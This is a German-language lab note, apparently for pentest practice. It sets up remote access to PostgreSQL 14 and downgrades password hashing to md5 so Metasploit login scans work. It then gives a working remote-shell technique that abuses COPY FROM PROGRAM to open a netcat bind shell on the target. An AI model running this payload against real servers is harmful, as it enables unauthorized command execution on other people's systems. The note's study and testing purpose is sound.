.. _postgresql:

Konfiguration
###############

Remote Access ermöglichen
==========================
1. /etc/postgresql/14/main/postgresql.conf
    # Listen Adresse auf alle Interfaces setzen
      listen_addresses = '*' 

    # password_encryption
    password_encryption = md5    # scram-sha-256 or md5

    *Password Encryption sollte man auf dem default-Wert "scram-sha-256" lassen. Für metasploit Tests kann man das auf 
    md5 setzen. Wenn vorher aber User/Role mit scram-sha-256 angelegt wurden, sind die Passwörter mit dem Verfahren 
    verschlüsselt worden. Daher muss man die Passwörter neu vergeben, ansonsten liefert Metasploit folgende Fehlermeldung 
    beim exploit "scanner/postgres/postgres_login"*

    .. code-block:: shell

        [-] <IP>:5432 - LOGIN FAILED: admin:admin@mydb (Incorrect: unknown auth type '10' with buffer content:
        52 00 00 00 17 00 00 00 0a 53 43 52 41 4d 2d 53    |R........SCRAM-S|
        48 41 2d 32 35 36 00 00                            |HA-256..|
    

2. /etc/postgresql/14/main/pg_hba.conf
   
    # Netzwerkbereich zulassen, der zugreifen darf
      host    all             all             <IP Netz>/24        md5

3. systemctl restart postgresql
4. lsof -i:5432
5. less /var/log/postgresql/postgresql-14-main.log
6. psql -h <IP> -p 5432 -d <DB> -U <user> -W


####################################
Command Execution with COPY Command
####################################

Quelle: `<https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767>`_

In diesem Szenario erfolgt eine remote Anmeldung an die postgres-Datenbank; es wird ein Listener eingerichtet, um beliebige
Befehle auf dem Zielhost abzusetzen. 

1. Anmelden an Datenbanken mit Admin-User::
   
    psql -h <Zielhost> -U <User> -d <Datenbank> -W

2. Remote Listener einrichten::
   
    COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l <Zielhost> <PORT> > /tmp/f';

3. in einer neuen Shell können dann bash Befehle abgesetzt werden::
   
    nc <Zielhost> <PORT> 
   
   Befehle werden im Kontext des postgres-Serverprocesses ausgeführt.




Zurück zu :ref:`postgresql`